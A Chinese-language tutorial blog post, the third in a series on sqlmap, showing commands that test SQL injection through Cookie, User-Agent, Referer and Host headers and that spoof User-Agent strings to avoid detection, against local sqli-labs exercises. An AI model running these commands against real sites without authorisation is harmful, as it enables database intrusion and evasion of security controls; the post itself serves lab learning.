sqlmap學習(三)設置請求參數


--level的參數設定為2或者2以上的時候,sqlmap會嘗試注入Cookie參數。當--level參數設定為3或者3以上的時候,會嘗試對User-Angent和referer進行注入。

1、sqlmap設置User-Agent頭

--user-agent=AGENT指定HTTP User - Agent頭
默認情況下sqlmap的HTTP請求頭中User-Agent值是:sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
可以使用--user-agent來偽造
使用Firefox瀏覽器訪問頁面時的User-Agent
在這里插入圖片描述
使用python sqlmap.py -u "http://172.17.0.1/Less-1/index.php/?id=1" --banner並用wireshark抓取http包,查看User-Agent
在這里插入圖片描述
為了避免觸發安全機制,使用參數設置User-Agent

python sqlmap.py -u "http://172.17.0.1/Less-1/index.php/?id=1" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" --banner

此時可以看到User-Agent頭改變
在這里插入圖片描述
也可以使用--random-agent使用隨機選定的HTTP User - Agent頭

python sqlmap.py -u "http://172.17.0.1/Less-1/index.php/?id=1" --random-agent

在這里插入圖片描述
查看可使用的User - Agent

root@rane:/usr/share/sqlmap# ls
COMMITMENT  data  doc  extra  http.txt  lib  LICENSE  plugins  README.md  sqlmapapi.py  sqlmap.conf  sqlmap.py  tamper  test  test.txt  thirdparty  url.txt  wget-log
root@rane:/usr/share/sqlmap# cd data
root@rane:/usr/share/sqlmap/data# ls
html  procs  shell  txt  udf  xml
root@rane:/usr/share/sqlmap/data# cd txt
root@rane:/usr/share/sqlmap/data/txt# ls
common-columns.txt  common-files.txt  common-outputs.txt  common-tables.txt  keywords.txt  smalldict.txt  user-agents.txt  wordlist.tx_

可以在user-agents.txt中查看可使用的User - Agent
注意:針對User - Agent的值探測SQL注入,需要設置 --level值為3
以Less-18為例
在這里插入圖片描述
開啟burpsuite進行截斷,將請求放入test.txt中
在這里插入圖片描述
使用sqlmap進行自動化探測

python sqlmap.py -r test.txt --level 3

在這里插入圖片描述
如果使用python sqlmap.py -r test.txt不加--level 3,則不會對User - Agent進行探測

2、sqlmap設置host頭

對HTTP主機頭進行SQL注入,需要設置--level為5

3、sqlmap設置referer頭

以Less19為例
在這里插入圖片描述
如果直接使用python sqlmap.py -r test.txt會提示
在這里插入圖片描述
當設置level參數時

python sqlmap.py -r test.txt --level 3

在這里插入圖片描述

4、sqlmap設置額外http頭

方式一:
通過設置選項--headers,可以提供額外的HTTP頭,每個頭必須用換行符分割

python sqlmap.py -u "http://192.168.126.130/Less-1/index.php/?id=1" --headers="Accept-Language: fr\nETag: 123"

在這里插入圖片描述
可以看到設置成功
設置多個時,使用分隔符'\n'

python sqlmap.py -u "http://192.168.126.130/Less-1/index.php/?id=1" --headers="Accept-Language: fr\nETag: 123\nCookie:123"

在這里插入圖片描述
方式二:
從sqlmap.conf文件中設置

root@rane:/usr/share/sqlmap# ls
COMMITMENT  data  doc  extra  http.txt  lib  LICENSE  plugins  README.md  sqlmapapi.py  sqlmap.conf  sqlmap.py  tamper  test.txt  thirdparty  url.txt  wget-log
root@rane:/usr/share/sqlmap# cat sqlmap.conf
# At least one of these options has to be specified to set the source to
# get target URLs from.
[Target]
...

修改完sqlmap.conf后使用

python sqlmap.py -c sqlmap.conf


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM